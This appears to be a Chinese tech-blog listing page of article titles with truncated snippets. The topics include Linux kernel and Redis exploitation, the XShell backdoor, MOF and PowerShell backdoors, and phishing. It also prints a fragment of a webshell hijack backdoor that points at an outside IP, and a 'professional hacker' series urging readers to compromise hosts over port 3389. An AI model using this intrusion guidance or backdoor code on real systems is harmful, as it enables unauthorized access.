又见卡死图，竟然一个“小黑点”就能干掉QQ？
前一阵子QQ群里流行了一个东西，一段话加上一个黑点（表情），点击之后QQ就会卡死。 当时只觉得很好玩，没多久就又见了一次。 既然又看到了就一定要好好看看了。 刚开始遇到这个时第一反应是曾经看过的文章《一张GIF引发的微信崩溃》，所以第一反应也是扔进010Editor看看，然而并没有什么异常的地方。就在这时无意间看到了图片的名字，觉得不一般，后想了想会不会是和“十五个句号”一样触发了什么东西。 表情
区块链是妖还是佛？马化腾、李彦宏、张颖都表了态
伴随着两会的到来，区块链也正式走上两会，作为政协委员的互联网届大佬们也谈了他们对区块链的看法。 谁人不谈区块链?作为新年伊始最热的话题，区块链的身影无处不在。从三点钟社群引发的区块链浪潮，瘟疫般的传播开来。 早在日前，人民日报针对区块链出了整版报道，从对区块链概念的研究，区块链发展趋势的预估、做数字经济的领跑者等专题介绍呼吁国家政府对区块链技术大力支持，同时告知民众要要警惕概念炒作。 伴随着两会的
Gdevops 2018 全球敏捷运维峰会4月起航成都
在吃鸡即胜利的当下，每天不吃上一把鸡都不好意思出来混。有人说，最爽的开局莫过于：落地的天命圈，大城搜刮资源没人抢，三级防具、98K、倍镜、大药一个不少，空投砸脸更是可以……有了如此梦幻般的开局，怕是可以高歌一曲“无敌是多么寂寞”了~ 可是这样的低概率事件，堪比年会抽中全场大奖。要想在百人的孤岛环境中生存下来，谈何容易？要是碰上坑队友的，一不小心就落地成盒了…… 对于咱们IT人来说，处处潜藏未知危机
centos环境jenkins部署文档
Jenkins是一个非常出色的持续集成服务器，本文主要介绍在CentOS系统中Jenkins的基本安装配置方法，供参考。 一. 软件包： 1. 下载apache-maven-2.2.1-bin.tar http://www.apache.org/dyn/closer.cgi/maven/binaries/apache-maven-2.2.1-bin.tar.gz 2. 下载jenkins：http
Linux内核Waitid系统调用本地提权漏洞（CVE-2017-5123）的分析与利用
最近在整理Linux内核漏洞利用的一些场景，比如利用系统调用漏洞、利用一些比较容易fuzz的漏洞，通过对这类场景的总结可以帮助我们快速发现0day，积累漏洞挖掘的经验。虽然这一类型的漏洞出现的频率很低但是优点也很显著，这类漏洞利用比较简单、直接。我通过查看github上Linux源代码patch日志发现CVE-2017-5123就是我要收集的目标，这类漏洞的攻击面是内核处理用户态指针出错，一般是内
Redis 未授权访问漏洞深度利用
redis虽然是高性能内存数据库，但也支持将内存数据保存至硬盘上，实现持久化存储。由于 redis 未强制访问鉴权，导致未授权访问漏洞频发，入侵者借此控制 redis 间接获得系统写文件的能力，极大提升攻击力。 redis未授权漏洞的发现常有两种方式，你可以用 redis-cli 手工针对单个机器验证： $ redis-cli -p 6379 -h 192.168.56.101 192.16
总有你要的编程书单（GitHub ）
目录 IDE IntelliJ IDEA 简体中文专题教程 MySQL 21分钟MySQL入门教程 MySQL索引背后的数据结构及算法原理 NoSQL Disque 使用教程 Neo4j .rb 中文資源 Redis 命令参考 Redis 设计与实现 The Little MongoDB Book The Little Redis Book 带有详细注释的 Redis 2.6 代码 带有详细注释的
Xshell软件后门技术分析
背景： 最近，XShell远程终端工具发现被加入了恶意代码，目前官方就此事也做出了回应，要求使用者尽快下载最新版本。腾讯安全反病毒实验室就此跟进分析，对此次带有后门的XShell工具进行了分析。 技术分析： 概述： 整个恶意过程可以通过下图来展示 整个作恶过程分为3部分，第一部分是被patch的XShell启动后，执行到恶意的shellcode1。shellcode1解密后续数据后，执行该段代码s
《30天打造”专业黑客”》第05天：从简单的网络命令讲起
有个朋友问了我个问题：端口映射是什么意思？？ 其实很简单的，采用端口映射（Port Mapping）的方法，可以实现从Internet到局域网内部机器的特定端口服务的访问。例如，你所使用的机子处于一个连接到Internet的局域网内，你在机子上所开的所有服务（如FTP），默认情况下外界是访问不了的。这是因为你机子的IP是局域网内部IP，而外界能访问的只有你所连接的服务器的IP，由于整个局域网在In
《30天打造”专业黑客”》第04天：从终端服务3389讲起
昨天我们讲到了提升权限的问题，好现在我们就来说一个简单的入侵，从3389找个肉鸡（没有肉鸡的话，对自己的技术提高是没好处的，不能老是看却不练啊，同学你说对吗？） 请各位注意，我这里并不是说什么烂鬼输入法漏洞。这种漏洞差不多已经绝迹了，太难找了，如果有人找到了，那恭喜你啦。众所周知，有开3389的一般都是服务器，也就是说有很大可能带局域网的，而内部入侵比外部要方便一点，这对大家是很好的，我想看我这个
《30天打造”专业黑客”》第03天：继续讲扫描
怎么得到shell呢？这很关键，有很多方法：典型的例子是telnet。得到shell的办法有很多种，比如通过系统自带的telnet，终端服务。或者用木马和工具提供的，如winshell，冰河等等。说到冰河我不想说那么多没有篇文章很好大家看一下：http://978229.myrice.com/tty/Preview.htm#MAILLISTDOC19 得到shell后，不是所有权限都会开的，得到管
《30天打造”专业黑客”》第02天：从端口说起
有些端口是比较重要的比如135，137，138，139，445之类，那我扫描到的端口到底有什么用?我想你肯定要问，这样今天，我就用一个真实的扫描向你讲述扫到的端口的用途。 被扫的主机：192.***.xx.x 主机IP数：4 发现的安全漏洞：7个 安全弱点：45个 系统： Standard: Solaris 2.x, Linux 2.1.???, Linux 2.2, MacOS Telnet (
如何测试Nginx的高性能
简介 Nginx ("engine x") 是一个高性能的HTTP和反向代理服务器，也是一个IMAP/POP3/SMTP代理服务器； 作为一款轻量级的Web服务器，具有占有内存少，并发能力强等优势，是高连接并发场景下Apache的不错的替代品； 本篇主要介绍Nginx作为Web服务器时，相对于Apache的性能优势； 下一篇将会介绍Nginx作为方向代理服务器的实现； 重要特点 非阻塞：数据复制时
对众多知名公司造成影响的Oracle Responsys本地文件包含漏洞
今天我要向大家展示的是，我如何发现了Oracle Responsys云服务系统中的一个本地文件包含漏洞（LFI）。由于当前很多商业销售、网络存储和社交关系公司都采用了Oracle Responsys的云解决方案，所以，该漏洞对多个知名公司服务造成影响，这些公司包括Facebook、Linkedin、Dropbox等。 Responsys：原先为一家领先的企业级B2C云营销软件提供商，公司主要向企业
初学Python–微信好友/群消息防撤回，查看相关附件
写在开头：这个功能是小白在学Python中做的小玩意儿。慎用，万一你朋友不小心说了句你不爱听的话，撤回了你没看见，大家还是好朋友；万一你看到了，那友情就打折扣了，这可不好。您也别做啥不合法的事，小白还得准备考研二战～ 上篇文章[ 初学python--微信防撤回功能改进（一个用处不大的功能）]中，使用Python的itchat库实现了好友聊天消息防撤回：实现原理，备份两分钟之内的消息，通过撤回通知的
基于MongoDB的高并发高可用政府云平台架构实践
3月12日下午在阿里巴巴西溪园区，举行了MongoDB杭州用户交流会。微软MSDN特邀讲师徐雷分享《基于MongoDB的政府云平台高并发高可用HA架构实践 》，从自身实践出发，讲述了政府云平台分层、技术栈选型、物理架构、API架构及DB数据库架构的设计思路和方法。 以下内容根据现场分享和演讲PPT整理而成。 学习MongoDB的重要性 目前，几乎所有国内外的互联网大公司都在用MongoDB，学习企
Zabbix监控(十三)：监控网络设备
说明：本例使用VM虚拟机、GNS3模拟器、GETIF工具实验Zabbix监控网络设备。 1、配置Cisco路由器 本节以Cisco 2600路由器为例；只要支持SNMP协议的网络设备都可以使用本文档方法进行监控。 查看snmp-server系统命令： 交换机配置如下： 建立snmp团体，名称为public，权限为只读 1 (config)#snmp-server community public
MySQL慢日志监控脚本实例剖析
公司线上的 MySQL 慢日志，之前一直没有做好监控。趁着上周空闲，我就把监控脚本写了下，今天特地把代码发出来与51博友分享一下。 针对脚本的注解和整体构思，我会放到脚本之后为大家详解。 #!/bin/bash # # 本脚本用来在指定频率内监控 MySQL 慢日志的变化，并在发生增长时及时报警 # Written by sunsky # Mail : 274546888@qq.com # Dat
你的iPhone也出现“澳门赌场”日历推送了吗？分析邪恶的“苹果日历推”产业链
一、事件概述 前段日子我的Mac电脑日历经常会弹一些推广链接广告啥的，不是在线澳门赌场，娱乐场，就是啪啪啪视频链接，反正这两类东西，大家都懂的，今天老婆回家，手机里又出现了，然后问我这是啥东西，怎么老是给我发这些消息，我才发现这东西”不简单“，之前在我Mac上出现没当回事，想想其实这种情况已经有一个月左右了，因为我老婆的appleid和我的Mac上使用的appleid是同一个，所以我们俩同时收到了
IE安全系列：脚本先锋（II）
接着上一篇的来，本文多为Javascript的脚本阅读和解释，阅读都是自行完成，所以不免可能会出现一些错误或者联想过度的情况，如果你发现了哪儿有问题请重重地拍出来。 IV.1 HTML与网马攻击4 — Virus In the Wild 本篇中我们将从真实的Exploit Kit的利用代码入手介绍分析方式，文中例子采用Angler Exploit Kit 和 Magnitude Exploit K
中国最大的Webshell后门箱子调查，所有公开大马全军覆没
起因 对这件事情的起因是某天我渗透了一个大站，第二天进webshell时就发现，当前目录出现了新的后门，仔细一查，发现是博彩团伙干的，网站被全局劫持黑帽程序如下代码 set_time_limit(20);error_reporting(0); define('u_b','/'); define('s_u','http:// 107.182.228.74/'); define('s_s','@hao
SNORT入侵检测系统
0x00 一条简单的规则 alert tcp 202.110.8.1 any -> 122.111.90.8 80 (msg:”Web Access”; sid:1) alert：表示如果此条规则被触发则告警 tcp：协议类型 ip地址：源/目的IP地址 any/80：端口号 ->：方向操作符，还有<>双向。 msg：在告警和包日志中打印消息 sid：Snort规则id …
Powershell之MOF后门
0x00 MOF Managed Object Format (MOF)是WMI数据库中类和类实例的原始保存形式。具体介绍可以阅读《WMI 的攻击，防御与取证分析技术之防御篇》，Windows 管理规范 (WMI) 提供了以下三种方法编译到WMI存储库的托管对象格式 (MOF) 文件： 方法 1： 使用Mofcomp.exe。 方法 2： 使用 IMofCompiler 接口和$ CompileF
使用powershell Client进行有效钓鱼
0x00 简介 Powershell是windows下面非常强大的命令行工具，并且在windows中Powershell可以利用.NET Framework的强大功能，也可以调用windows API，在win7/server 2008以后，powershell已被集成在系统当中。 除此之外，使用powershell能很好的bypass各种AV，在渗透测试中可谓是一个神器。此次使用的是开源的pow
爬虫技术浅析
0x00 前言 网络爬虫（Web crawler），是一种“自动化浏览网络”的程序，或者说是一种网络机器人。它们被广泛用于互联网搜索引擎或其他类似网站，以获取或更新这些网站的内容和检索方式。它们可以自动采集所有其能够访问到的页面内容，以便程序做下一步的处理。 在WEB2.0时代，动态网页盛行起来。那么爬虫就应该能在页面内爬到这些有javascript生成的链接。当然动态解析页面只是爬虫的一个技术点
